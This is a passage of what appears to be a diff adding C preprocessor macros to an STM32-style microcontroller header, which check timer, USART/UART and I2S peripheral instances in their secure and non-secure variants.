TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : supporting ETR source selection ***************/ +#define IS_TIM_ETRSEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)|| \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)|| \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)|| \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting bitfield RTCPREEN in OR1 register ********************/ +#define IS_TIM_RTCPREEN_INSTANCE(INSTANCE) (((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM12_NS) || ((__INSTANCE__) == TIM12_S)|| \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************************** I2S Instances *******************************/ +#define IS_I2S_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1) || \ + ((INSTANCE) == SPI2) || \ + ((INSTANCE) == SPI3)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == 